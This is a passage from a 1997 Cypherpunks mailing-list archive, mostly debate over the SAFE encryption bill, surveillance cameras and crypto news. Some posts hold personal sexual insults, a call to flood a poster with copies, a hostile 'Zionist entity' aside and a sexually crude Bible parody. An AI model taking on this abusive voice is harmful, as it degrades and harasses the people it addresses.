not running this show and have to work with what the Congress gives us. However, despite our concerns about the criminal provisions, we believe strongly that the SAFE bill, and the bills in the Senate sponsored by Burns and Leahy, are vitally important and should be passed. As you know, the debate over encryption policy reform has been going on for more than 4 years. Despite all of our efforts to promote the use of encryption, crypto is still not widely used by the public. The Clinton administration has not backed off from their commitment to a global key-escrow/key-recovery system with guaranteed law enforcement access to private keys. And despite the brilliant work of EFF on the various legal challenges to the export restrictions, we feel this issue will only be fully resolved through legislation. The status quo, in our view, is not good enough. Because of the export controls and the lack of a coherent US encryption policy, Internet users do not have access to the privacy protecting encryption products they need. Congress needs to stand up to the Administration and say, with a strong voice, "your policy is a failure - we need a different solution". That's what SAFE, Pro-CODE, and ECPA II do. Best, Jonah ** THE FIGHT FOR FREE SPEECH ONLINE IS IN THE HANDS OF THE SUPREME COURT ** Find out the latest news and information about the case, visit -- -- Jonah Seiger, Communications Director (v) +1.202.637.9800 Center for Democracy and Technology pager +1.202.859.2151 PGP Key via finger http://www.cdt.org http://www.cdt.org/homes/jseiger From jordan at macandco.com Thu May 1 07:53:39 1997 From: jordan at macandco.com (Jordan) Date: Thu, 1 May 1997 22:53:39 +0800 Subject: Federalists vs. States Rights Message-ID: <3.0.1.32.19970501100938.007cf2d0@smtp1.abraxis.com> "U.S. prosecutions of pro-marijuana doctors barred April 30, 1997 Web posted at: 11:09 p.m. EDT (0309 GMT) SAN FRANCISCO (Reuter) -- A U.S. district judge Wednesday issued an order temporarily barring the federal government from prosecuting California doctors who recommend marijuana to their patients." http://cnn.com/US/9704/30/marijuana.doctors.ap/index.html It's the same old song - Federalism v. States Rights Maybe we should see what went on in past US history to find out the outcome of current US events. From jimbell at pacifier.com Thu May 1 08:17:46 1997 From: jimbell at pacifier.com (Jim Bell) Date: Thu, 1 May 1997 23:17:46 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" Message-ID: <199705011506.IAA19774@mail.pacifier.com> At 10:09 5/01/97 -0400, Jonah Seiger wrote: >Tim - > >It's too bad we may not see eye-to-eye on this one. > >For what it's worth, CDT shares your concerns about the criminal provision >in the SAFE bill. We believe that as currently written, the provision is >overly broad and could create a chilling effect on the everyday use of >encryption, and unnecessary because it duplicates existing obstruction of >justice law. > >We have expressed these concerns both publicly (in a letter to the >committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other >organizations - see http://www.privacy.org/ipc/safe_letter.html) and >privately in conversations with the committee staff. We hope to work with >the authors of SAFE to address these concerns, but, as you know, we are not >running this show and have to work with what the Congress gives us. There's your error. No, you don't "have to work with" it. Simply make your public support absolutely and completely conditional on the removal of the bad part. That's quite easy, isn't it?!? > >However, despite our concerns about the criminal provisions, we believe >strongly that the SAFE bill, and the bills in the Senate sponsored by Burns >and Leahy, are vitally important and should be passed. Why? Tim May said it quite well: SAFE gives us no rights that we don't already have, and what it does claim to give us has so many "legitimate needs of law-enforcement"-type loopholes that it would be almost totally useless. It is certainly not "vitally important." There are some components of SAFE which would be good to have, IF they can be obtained without the disastrous component of SAFE which we all know must be removed. > >As you know, the debate over encryption policy reform has been going on for >more than 4 years. Despite all of our efforts to promote the use of >encryption, crypto is still not widely used by the public. > >The Clinton administration has not backed off from their commitment to a >global key-escrow/key-recovery system with guaranteed law enforcement >access to private keys. And despite the brilliant work of EFF on the >various legal challenges to the export restrictions, we feel this issue >will only be fully resolved through legislation. > >The status quo, in our view, is not good enough. Let's not have any backsliding, then! Jim Bell jimbell at pacifier.com From jya at pipeline.com Thu May 1 08:58:06 1997 From: jya at pipeline.com (John Young) Date: Thu, 1 May 1997 23:58:06 +0800 Subject: Nations Cannot Terrorize Message-ID: <1.5.4.32.19970501152725.008c8074@pop.pipeline.com> NYT reports today on the State Department's new "1996 Patterns of Global Terrorism:" "By the State Department's definition, nations cannot commit terrorism, only "subnational groups or clandestine agents" who carry out "politically motivated violence" against innocents. If a nation's air force bombs civilians that is not terrorism; if civilians blow up a plane, it is." ---- For full DoS report: http://jya.com/pgt1996.htm (202K) From NOSPAM-geeman at best.com Thu May 1 09:08:09 1997 From: NOSPAM-geeman at best.com (geeman) Date: Fri, 2 May 1997 00:08:09 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" Message-ID: <3.0.32.19691231160000.006b0ea4@best.com> In that case, it counts as an improvement indeed. At 10:48 PM 4/30/97 -0700, Anil Das wrote: >On Apr 30, 10:23pm, geeman wrote: >> Subject: Re: SAFE Bill is a Disaster--"Use a cipher, go to prison" >> >> I'd like to point out that the key phrase in there seems to be >> "under any law in effect on the effective date of this chapter" -- altho >> it's gobbledegooked, >> the intent seems to say "if there is no law in effect mandating GAK when >> this bill becomes >> law, there can never be a law passed which does" Or in other words, it has >> the effect of making >> GAK no better, or worse, than under current law, while preventing passage >> of GAK laws in the future. > > Agreed, except for one subtle correction. Congress cannot >make a law saying a future congress cannot make such and such a law, >because the future congress can always repeal, amend or override the >old law. So, what this section does is to make GAK through an >executive order impossible. > >-- >Anil Das > > > From NOSPAM-geeman at best.com Thu May 1 09:12:38 1997 From: NOSPAM-geeman at best.com (geeman) Date: Fri, 2 May 1997 00:12:38 +0800 Subject: Privacy news: Oakland Cameras, Levi employee files, FileGate Message-ID: <3.0.32.19691231160000.006ae0c4@best.com> At 06:35 PM 4/30/97 -0700, Bill Stewart wrote: >It's been a busy day for privacy issues in the Oakland Trib. > >Surveillance Cameras in Oakland >------------------------------- >Bay Alarm is trying to sell the City Council a $500K-$1.5M closed-circuit >TV system for watching people in public places. The three picknickers >didn't litter, but the camera mounted on the public library building could >zoom in enough to that the council could tell a ham sandwich from roast beef, >and whether the two joggers were wearing Nikes or Reeboks. >"Anybody who is a law-abiding citizen is not going to be concerned about >this.. >"When I'm out in a public place.... I don't have an expectation of privacy" >said Councilcritter Nate Miley (East Oakland/Elmhurst), who wants a test run >in his district, where residents have bars on their windows and are afraid >to go out at night. Police Chief Joseph Samuels likes it too. >"This is technology spying on our citizens from camera on light poles" >said John Crew of the ACLU police practices project, speaking against it. >Bay Alarm said that some British cities have dealt with privacy fears by >setting up monitoring centers away from city and police offices, >where tapes are kept in case a crime occurs -- crime victims can call up >the police and ask them to play back tapes, said Mark Demier of Bay Alarm. >The camera systems are also capable of taking pictures in the dark. > Brief radio piece on the red-light cameras in S.F. --- red-light running appears to be down at the 4 intersections where cameras are installed; some well-placed official was quoted as saying "The cameras are definitely having an effect on people's behavior." Yes, a Good Thing. They are continuing to move forward with plans to install more cameras. This is fine for red-light-running. I'm just worried about the day when the cameras have an effect on people's behavior with respect to what they say, whom they associate with, the clothes they wear, the thoughts they think... How do you hack a camera? From tcmay at got.net Thu May 1 09:16:00 1997 From: tcmay at got.net (Tim May) Date: Fri, 2 May 1997 00:16:00 +0800 Subject: Why I delete cc;s to other mailing lists In-Reply-To: Message-ID: At 2:12 AM -0800 5/1/97, Adam Back wrote: >I don't either. My only interest in posting to these lists at all is >that some people hang out there who don't read cypherpunks. I got a >reply from Ron Rivest on the hashcash stuff as it related it to his >and Shamir's MicroMint payment system. I presume from reading it on >coderpunks or cryptography where I forwarded copies. Some people want the advantages of lists like the Cypherpunks list, but not the disadvantages of volume and noise. Well, there is no simple solution to this, except the usual ones of local filtering, hitting the delete key, etc. I don't subscribe to lists controlled by others, for various reasons I've discussed over the years. It's a lot harder to create signal than it is to suppress noise. As I like to say, "My keyboard has a "Delete" key--it doesn't have a "Create" key." Many "edited" lists have appeared over the years. Nick Szabo had (and still has) his own list. Robin Hanson had one ("AltInst," or "Alternative Institutions"...I like Robin's thinking a lot, but I quit his last after just a few days when he asked me to "fine tune" my posts more to his liking), and there have been various libertarian/digital liberty mailing lists. (These lists typically start with a bang, having traffic of a dozen or so messages a day....then things peter out. Some of these lists have no traffic for months at a time.) The Cypherpunks list, rambunctuous and uncontrolled as it is, has thrived for four and a half years, coming up on 5 years in just a few months. That "serious cryptographers" do not want to be subscribers is just the way it is. I can't do anything to get David Chaum or Matt Blaze to subscribe. Too bad. I don't worry about it. If they want to subscribe, they can. I'm not interested in creating a "Tim's list" in hopes that they'll subscribe. They won't. >> I routinely delete all of the cc:s to other lists, figuring if people want >> to read my stuff they can damn well subscribe to the Real Thing, the >> Cypherpunks list. > >So what you're saying is that you boycott them in effect, you don't >send your writings to censored lists, and if they want to read your >writing, they've got to read The List. Well the more quality content >that comes to cypherpunks first, or exclusively to cypherpunks until a >3rd party forwards it the better, as this adds to cypherpunks >reputation, and increases the value of and interest in the list. Exactly. I don't want my writings primarily distributed to Declan's list, or Bob's list, or whatever. (Bob sometimes reposts my articles to his yuckily-nnamed "e$spam" list, and I get responses from people who simply don't understand the background to the issues....I either ignore them completely or tell them to subscribe to the Cypherpunks list and to quit pestering me for explanations.) >My attitude is leaning this way also. I post most things to >cypherpunks first. The others I consider in effect forwards of >material posted to cypherpunks. Many people seem to want to "fix" the Cypherpunks list. I try to do what I can by writing essays. That's my form of "signal." Those who don't want to read these articles know where the delete key is. --Tim May There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From declan at well.com Thu May 1 09:22:47 1997 From: declan at well.com (Declan McCullagh) Date: Fri, 2 May 1997 00:22:47 +0800 Subject: Bombs Away, from The Netly News Network Message-ID: ********* http://cgi.pathfinder.com/netly/opinion/1,1042,902,00.html The Netly News Network May 1, 1997 Bombs Away by Declan McCullagh (declan at well.com) Internet fear-mongering is back in vogue inside the White House. The Clinton administration escalated its assault on the Net this week, warning that it provides bomb-making recipes to anyone "with a modem" and proposing a new law to restrict such information. In a 53-page report released on Tuesday, the Department of Justice alleges that criminals are trawling cyberspace for how-to kits on making explosives. "ATF statistics reflect that, between 1985 and June 1996, the investigations of at least 30 bombings and four attempted bombings resulted in the recovery of bomb-making literature that the suspects had obtained from the Internet," the report says. "A member of the DoJ committee accessed a single web site on the World Wide Web and obtained the titles of 110 different bomb-making texts." [...] ------------------------- Declan McCullagh Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/ From real at freenet.edmonton.ab.ca Thu May 1 09:24:01 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Fri, 2 May 1997 00:24:01 +0800 Subject: [CRYPTO] ZKP In-Reply-To: <199705011110.NAA14579@basement.replay.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Thu, 1 May 1997, Anonymous wrote: > Tim May is widely recognized on the net, because of his > frequent vitriolic postings, as someone/thing ready to cut > off his own penis to spite the testicles, although his > friends recognize him better from the rear. > > __ > /_/\__ > \_\/\_\ Tim May > /\_\/_/ > \/_/ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From sunder at brainlink.com Thu May 1 09:30:11 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Fri, 2 May 1997 00:30:11 +0800 Subject: J/Crypto (fwd) Message-ID: ---------- Forwarded message ---------- Date: Thu, 1 May 1997 10:27:33 -0400 (EDT) From: Alex Chaffee Subject: J/Crypto (original at http://206.20.162.246 JavaZine ) J/CRYPTO - Cryptography class library Baltimore Technologies shipped the first copies of its Java cryptography product J/CRYPTO at the Java Users Group meeting at Communications '97. J/CRYPTO is the world's first cryptography class library written entirely in Java and implements RSA, DES, Triple-DES, SHA1, MD5, Diffie-Hellman and other common cryptographic functions. It plugs into the Java Cryptography Architecture (JCA) and will comply with Sun's Java Cryptography Extension (JCE). J/Crypto includes a range of Java classes including: highly optimized Multi-Precision Arithmetic Modules; cryptographically secure Pseudo-Random Number Generation; RSA key generation & encryption; SHA-1 & MD5 Hashing; DES and Triple-DES encryption; Diffie Hellman Key Exchange Mechanism. J/Crypto includes many advanced features which provide commercial grade security for applications. These features include: full-strength key sizes (512,1024, 2048 bit RSA keys, 112-bit Triple-DES); fast format RSA keys (Chinese remainder theorem & Fermat-4); eeeelimination of weak & possibly weak DES & RSA keys; bfuscation of secret keys and other sensitive data; compatibility with PKCS #1, #3, #5, #8, #11; sample applications and benchmarking. Future developments for J/CRYPTO include implementation of Secure Sockets Layer (SSL), IDEA, RC2, RC4, BSA4, BSA5 ciphers and a range of high-speed stream ciphers. For more info: http://www.baltimore.ie/ From sunder at brainlink.com Thu May 1 09:37:59 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Fri, 2 May 1997 00:37:59 +0800 Subject: Kid hacker changes his grades (fwd) Message-ID: >>>>> Forwarded message From: http://www.accessatlanta.com/local/news/1997/04/30/gradehacker.html Student faces felony for hacking grades >From NewsTalk 750 WSB A 15-year-old Florida High School student faces felony charges for allegedly hacking his way into the school computer to change "F's" into "A's." Jason Westerman claims it was only a joke, but he faces felony charges for offenses against intellectual property and computer users. He's been suspended for ten days. Westwood high school administrators want to expel him. << End forwarded message From sameer at c2.net Thu May 1 10:07:03 1997 From: sameer at c2.net (sameer) Date: Fri, 2 May 1997 01:07:03 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: Message-ID: <199705011652.JAA12500@gabber.c2.net> > > The status quo, in our view, is not good enough. Because of the export > controls and the lack of a coherent US encryption policy, Internet users do > not have access to the privacy protecting encryption products they need. Yes they do. There is a growing international crypto development industry. The export controls have hampered access to the products they need, but it has not eliminated said access. SAFE is one step closer towards making *import* of cryptography illegal. It's a good thing Anguilla looks like a relatively reasonable place to live, with people like you "on our side". -- Sameer Parekh Voice: 510-986-8770 President FAX: 510-986-8777 C2Net http://www.c2.net/ sameer at c2.net From tcmay at got.net Thu May 1 10:17:20 1997 From: tcmay at got.net (Tim May) Date: Fri, 2 May 1997 01:17:20 +0800 Subject: CDT Flash: SADE Bill -- "Hold a belief, go to prison" In-Reply-To: <3355CC61.B61@stanford.edu> Message-ID: <199705011646.JAA16972@you.got.net> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks, talk.politics.crypto, comp.org.eff.talk) ----------------------------------------------------------------------------- _____ _____ _______ / ____| __ \__ __| ____ ___ ____ __ | | | | | | | | / __ \____ / (_)______ __ / __ \____ _____/ /_ | | | | | | | | / /_/ / __ \/ / / ___/ / / / / /_/ / __ \/ ___/ __/ | |____| |__| | | | / ____/ /_/ / / / /__/ /_/ / / ____/ /_/ (__ ) /_ \_____|_____/ |_| /_/ \____/_/_/\___/\__, / /_/ \____/____/\__/ The Center for Deities and Theologies /____/ Volume 42, Number 1 ---------------------------------------------------------------------------- A briefing on public policy issues affecting religious liberties online ---------------------------------------------------------------------------- CDT POLICY POST Volume 42, Number 1 May 1, 1997 Status Report on SADE, "Serenity and Dignity Through Enlightenment" FLASH! The Center for Deities and Theologies announces that the "SADE" Bill is past markup by the House Committee on Beliefs and Creeds, and is headed for passage in the full House. We urge you to call your representative and support this important Bill. While CDT believes the Bill has certain flaws, particularly the criminal sanctions for use of religious beliefs in furtherance of a prosecutable offense, we believe the benefits outweigh the problems. This Bill will give to American believer-units the religious freedoms they have so far lacked, while also ensuring the legitimate needs of religious enforcement are satisfied. The characterization of SADE as a kind of "hold a belief, go to prison" law is completely unjustified. No believer-unit who does not use his or her beliefs in connection with a prosecutable offense has anything whatsoever to fear from this landmark piece of legislation. CDT is proud to be a supporter and industry shill for this important step forward. --Klaus! von Future Prime, Policy Director, Center for Deities and Theologies Text of H.R. 666, the "SADE" Bill, "Serenity and Dignity Through Enlightenment" A BILL To amend title 18, United States Code, to affirm the rights of Americans to practice the religious beliefs of their choice, and to recognize the legitimate needs of law enforcment and national security concerns in this area. Be it enacted by the Senate and House of Representatives of the United States of America in Congress assembled, SECTION 1. SHORT TITLE. This Act may be cited as the "Serenity and Dignity Through Enlightenment (SADE) Act". SEC. 2. PRACTICE OF RELIGION. (a) IN GENERAL. Part I of title 18, United States Code, is amended by inserting after chapter 121 the following new chapter: CHAPTER 122-RELIGIOUS BELIEFS AND PRACTICES "2801. Definitions. "2802. Freedom To Practice Religion. "2803. Freedom To Sell Religous Materials. "2804. Prohibition on religious licenses. "2805. Unlawful use of religious beliefs in furtherance of a criminal act. "�2802. Freedom To Practice Religion "Subject to Section 2805, it shall be lawful for any person within any State, and for any United States citizen in a foreign country, to hold any religious belief, regardless of the deity, god, goddess, idol, or higher being believed in. "�2803. Freedom To Sell Religous Materials "Subject to section 2805, it shall be lawful for any person within any State to sell in interstate commerce any religious tract, scripture, Bible, or pamphlet, regardless of the deity, god, goddess, or higher being supported. "�2804. Prohibition on religious licenses "(a) PROHIBITION. -- No person in lawful possession of religious materials may be required by Federal or State law to disclose or surrender to another person those materials. "(b) EXCEPTION FOR ACCESS FOR LAW ENFORCEMENT PURPOSES.-Subsection (a) shall not affect the authority of any investigative or law enforcement officer, under any law in effect on the effective date of this chapter, to gain access to those beliefs and religious materials. "�2805. Unlawful use of religious beliefs in furtherance of a criminal act "Any person who willfully uses religious beliefs or practices in furtherance of the commission of a criminal offense for which the person may be prosecuted in a court of competent jurisdiction -- "(1) in the case of a first offense under this section, shall be imprisoned for not more than 5 years, or fined in the amount set forth in this title, or both; and "(2) in the case of a second or subsequent offense under this section, shall be imprisoned for not more than 10 years, or stoned to death, or both.". SEC. 3. EXPORTS OF RELIGIOUS MATERIALS. (a) AMENDMENT TO RELIGIOUS EXPORT ADMINISTRATION ACT OF 1979. -- Section 17 of the Religious Export Administration Act of 1979 (50 U.S.C. App. 2416) is amended by adding at the end thereof the following new subsection: "(g) BIBLES AND RELATED MATERIALS. -- "(1) GENERAL RULE.--Subject to paragraphs (2), (3), and (4), the Inqusitor shall have exclusive authority to control exports of all religious materials, tracts, Bibles, Torahs, and statements of belief for religious matters and beliefs, except that which is specifically intended or modified for use by religious zealots, martyrs, and those involved in crusades, jihads, or holy wars. "(2) ITEMS NOT REQUIRING LICENSES. -- No validated license may be required, except pursuant to the Praying For the Enemy Act or the International Emergency Higher Powers Act (but only to the extent that the authority of such Act is not exercised to extend controls imposed under this Act), for the export or reexport of-- ... "(3) MATERIALS WITH PROSELYTIZING CAPABILITIES. -- The Inquisitor shall authorize the export or reexport of religious items with proselytizing capabilities for non-jihad end-uses in any country to which exports of similar Christian or Jewish materials are permitted for use by religious institutions not controlled in fact by United States churches and synagogues, unless there is substantial evidence that such materials will be -- "(A) diverted to a an Islamic jihad or other holy war or used for religious terrorism; "(B) modified for crusade and.or holy war end-use; or "(C) reexported without any authorization by the United States that may be required under this Act. -- There's something wrong when I'm a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Thu May 1 10:34:05 1997 From: tcmay at got.net (Tim May) Date: Fri, 2 May 1997 01:34:05 +0800 Subject: SAFE Bill is a Disaster--"Use a cipher, go to prison" In-Reply-To: Message-ID: At 6:09 AM -0800 5/1/97, Jonah Seiger wrote: >Tim - > >It's too bad we may not see eye-to-eye on this one. > >For what it's worth, CDT shares your concerns about the criminal provision >in the SAFE bill. We believe that as currently written, the provision is >overly broad and could create a chilling effect on the everyday use of >encryption, and unnecessary because it duplicates existing obstruction of >justice law. Indeed. All reasons to withdraw support for the Bill and to actively seek to undermine and sabotage it, as I hope many of us do. Further, it is quite clear that the Bill will *not* allow strong crypto (by "strong" I mean "arbitrarily strong," the only kind most of us support!) to be exported freely. Even for "financial cryptography," as clearly any strong crypto system can--and wiil--be used eventually by some group the Administration deems to be "international terrorists." (I would classify the U.S. government as a supporter of international terrorism, for many reasons. The mining of the harbors in a country with a relatively freely elected government, for example. The support of Kurdish terrorists. The funding and equippers of sappers in Serbia. And so on. Oh, and does the use of PGP by Burmese rebels/freedom fighters/terrorists, so often cited by Phil Zimmermann as a postive example, count as use by terrorists? You get the picture. One man's terrorist is another man's freedom fighter. I support, for example, the use of strong cryptography to undermine the Zionist entity which preys upon the life of the people (TM)...does this make me a supporter of terrorists or of freedom fighters? And why do George Bush and Bill Clinton get to decide?) >We have expressed these concerns both publicly (in a letter to the >committee signed by EPIC, ACLU, EFF, VTW, CDT, and over 20 other >organizations - see http://www.privacy.org/ipc/safe_letter.html) and >privately in conversations with the committee staff. We hope to work with >the authors of SAFE to address these concerns, but, as you know, we are not >running this show and have to work with what the Congress gives us. Yoo're not "running the show," nor am I, or we, but you can withdraw support and actively oppose a bad bill. >However, despite our concerns about the criminal provisions, we believe >strongly that the SAFE bill, and the bills in the Senate sponsored by Burns >and Leahy, are vitally important and should be passed. > >As you know, the debate over encryption policy reform has been going on for >more than 4 years. Despite all of our efforts to promote the use of >encryption, crypto is still not widely used by the public. "Use a cipher, go to prison" will hardly engender more public support for cryptography. More importantly, what the hell does the SAFE bill have to do with Americans using crypto? Crypto is completely unrestricted, at least by law, anywhere in the U.S. for use by American citizens and (most) others. If Americans aren't using crypto, it's for other reasons. "Use a cipher, go to prison" will not help in this process. >The Clinton administration has not backed off from their commitment to a >global key-escrow/key-recovery system with guaranteed law enforcement >access to private keys. And despite the brilliant work of EFF on the >various legal challenges to the export restrictions, we feel this issue >will only be fully resolved through legislation. > >The status quo, in our view, is not good enough. Because of the export >controls and the lack of a coherent US encryption policy, Internet users do >not have access to the privacy protecting encryption products they need. > >Congress needs to stand up to the Administration and say, with a strong >voice, "your policy is a failure - we need a different solution". That's >what SAFE, Pro-CODE, and ECPA II do. Sorry, Johah, but these are just platitudes from a press release. More detailed analysis is called for, not just mouthings about Congress standing up to the Administration, etc. For example, answer this question: Will "unbreakable" (*) cryptography, using full-strength RSA and drop-in 3DES, IDEA, Blowfish, AES, etc., be allowed for unrestricted export? If "yes," then this is indeed a good deal. But the weasel words in nearly every section clearly say it is not. If "no," then crypto is still crippled for export...the details just vary (or maybe they don't, actually, as nothing is spelled out). (* "Unbreakable" is a dangerous term. By "unbreakable" I mean here an algorithm and key distribution mechanism (or no KD, as in PK systems) which surpasses any known breaking attempts by some comfortable margin. Cf. the study by the noted cryptographers, and use keylengths like 128 bits of work factor...that ought to be "unbreakable" by the standards of the next few centuries!) Importantly, the putative goals of the SAFE Bill could be much more simply handled this way: "SAFE -- Security and Freedom Through Encryption: Computer software shall be treated as any other form of speech is. Software shall not be subject to restrictions on dissemination, export, or possession." --Tim May, still a felon, and still using encryption to further prosecutable offenses. Fuck Congress. -- [This Bible excerpt awaiting review under the U.S. Communications Decency Act of 1996] And then Lot said, "I have some mighty fine young virgin daughters. Why don't you boys just come on in and fuck them right here in my house - I'll just watch!"....Later, up in the mountains, the younger daughter said: "Dad's getting old. I say we should fuck him before he's too old to fuck." So the two daughters got him drunk and screwed him all that night. Sure enough, Dad got them pregnant, and had an incestuous bastard son....Onan really hated the idea of doing his brother's wife and getting her pregnant while his brother got all the credit, so he pulled out before he came....Remember, it's not a good idea to have sex with your sister, your brother, your parents, your pet dog, or the farm animals, unless of course God tells you to. [excerpts from the Old Testament, Modern Vernacular Translation, TCM, 1996] From trevorg at dhp.com Thu May 1 10:37:50 1997 From: trevorg at dhp.com (Trevor Goodchild) Date: Fri, 2 May 1997 01:37:50 +0800 Subject: In-Reply-To: <862018430.0517471.0@fatmans.demon.co.uk> Message-ID: I assure you sir that it was meant to be posted without anonimity, and that it was lovingly hand crafted for your reading pleasure. Now who is this Gruber fellow? --- Trevor Goodchild On Fri, 25 Apr 1997 paul at fatmans.demon.co.uk wrote: > > > From: Trevor Goodchild > > > Dimi Vulis is just another garden variety KGB whore that has > > [REST OF RANT DELETED] > > Hmm, a slippage I wonder by Trevorg at dhp.com, this was presumably > supposed to be sent anonymously. But why would it not be bot`ted? > > I always thought these posts were emanating from somewhere like > dhp.com (Recally dhp.com is the domain which Dr. Grubor has his > addresses on). > > > From trevorg at dhp.com Thu May 1 10:45:18 1997 From: trevorg at dhp.com (Trevor Goodchild) Date: Fri, 2 May 1997 01:45:18 +0800 Subject: Do government employees have freedom of speech?On Thu, 24 Apr 1997, Adam Back w In-Reply-To: <199704272220.RAA07335@smoke.suba.com> Message-ID: Sod.Off. --- Trevor Goodchild On Sun, 27 Apr 1997, snow wrote: > Pot. Kettle. Black. > From bryce at digicash.com Thu May 1 10:50:00 1997 From: bryce at digicash.com (Bryce) Date: Fri, 2 May 1997 01:50:00 +0800 Subject: J/Crypto (fwd) In-Reply-To: Message-ID: <199705011730.TAA15740@digicash.com> > (original at http://206.20.162.246 JavaZine ) > > > J/CRYPTO - Cryptography class library > > Baltimore Technologies shipped the first copies of its Java > cryptography product J/CRYPTO at the Java Users Group meeting at > Communications '97. J/CRYPTO is the world's first cryptography class > library written entirely in Java and implements RSA, DES, Triple-DES, > SHA1, MD5, Diffie-Hellman and other common cryptographic functions. I wonder if the authors are unaware of www.systemics.com, or whether they discount Cryptics v2 because it is beta, or something else? Zooko Journeyman Disclaimers follow: I am not a crook. NOT speaking for DigiCash or any other person or organization. No PGP sig follows. From nobody at REPLAY.COM Thu May 1 10:58:47 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 2 May 1997 01:58:47 +0800 Subject: [CRYPTO] ZKP Message-ID: <199705011740.TAA26115@basement.replay.com> Date: Thu, 1 May 1997 10:00:24 -0600 (MDT) From: Graham-John Bullers To: Anonymous Cc: cypherpunks at toad.com Subject: Re: [CRYPTO] ZKP Sender: owner-cypherpunks at toad.com I think Vulis needs each of us to send ten copies of this back to him. On Thu, 1 May 1997, Anonymous wrote: > Tim May is widely recognized on the net, because of his > frequent vitriolic postings, as someone/thing ready to cut > off his own penis to spite Graham-John Bullers, although his > friends recognize him better from the rear. > > __ > /_/\__ > \_\/\_\ Tim May > /\_\/_/ > \/_/ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Modulator of alt.2600.modulated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From paul at fatmans.demon.co.uk Thu May 1 11:14:57 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Fri, 2 May 1997 02:14:57 +0800 Subject: Privacy news: Oakland Cameras, Levi employee files, FileGate In-Reply-To: <3.0.1.32.19970430183502.006417e8@popd.ix.netcom.com> Message-ID: > Bay Alarm said that some British cities have dealt with privacy fears by > setting up monitoring centers away from city and police offices, > where tapes are kept in case a crime occurs -- crime victims can call up > the police and ask them to play back tapes, said Mark Demier of Bay Alarm. > The camera systems are also capable of taking pictures in the dark. Not just cities, quite small towns and residential areas have now taken to using citizen-units tax money installing systems to spy on the very same people. I have now taken to not visiting a town near me (Hastings) because of the CCTV systems in place. Not content with spying on citizens going about their business in towns a number of state funded colleges and universities are now installing CCTV systems. Presumably audio "bugs" will also be in order to ensure the student-units do not say anything unseemly or hinting at some form of intellectual heresy. Also, a number of car alarm manufacturers are now producing systems to track cars using GPS so if the car is stolen the police can track its movements. I can quite easily envisage a situation in a few years time when it is mandated that all new cars produced must be fitted with such systems so that the government can track the movement of citizens. One cannot now go out of ones own house without being monitored, and for those of us who are known heretics maybe even that is not true. Paul "Rapidly becoming a hermit in the name of privacy" Bradley From tank at xs4all.nl Fri May 2 02:15:52 1997 From: tank at xs4all.nl (tank) Date: Fri, 2 May 1997 02:15:52 -0700 (PDT) Subject: Artikel about XS4ALL in New York Times Message-ID: <199705020912.LAA11297@xs1.xs4all.nl> THE NEW YORK TIMES/CYBERTIMES www.nytimes.com April 29, 1997 By BRUNO GIUSSANI For an ISP in the Netherlands, Controversy Is an Old Friend AMSTERDAM -- April has meant business as usual at XS4ALL (access-for-all), the third-largest Internet service provider in the Netherlands. The month started off with the XS4ALL Web site being out of reach for a substantial portion of the European online population, and it is ending with the provider's adding a notch to its track record as a champion of freedom of speech. On April 11 the Dutch Web site was blocked by the German academic network, Deutsche Forschungsnetz (DFN), which serves about 400 universities and research organizations and provides Internet access to a half million people. DFN acted under pressure from the Federal Criminal Investigation Bureau pointing out the illegal -- in Germany, though not in the Netherlands -- content of Radikal Magazine, which is housed on the XS4ALL server. Radikal, a left-wing underground magazine, advocates "militant and armed interventions" to overthrow the government, and has published a "Short guide to hindering railway transports of all kinds" -- a handbook describing how to attack and damage tracks. Since selectively barring single home pages is technically impossible, the DNF action cut off all 6,000 pages on the XS4ALL servers, including those of Serbian opposition radio station B-92 and several scientific databases. Thus, while blocking illegal material, the German network 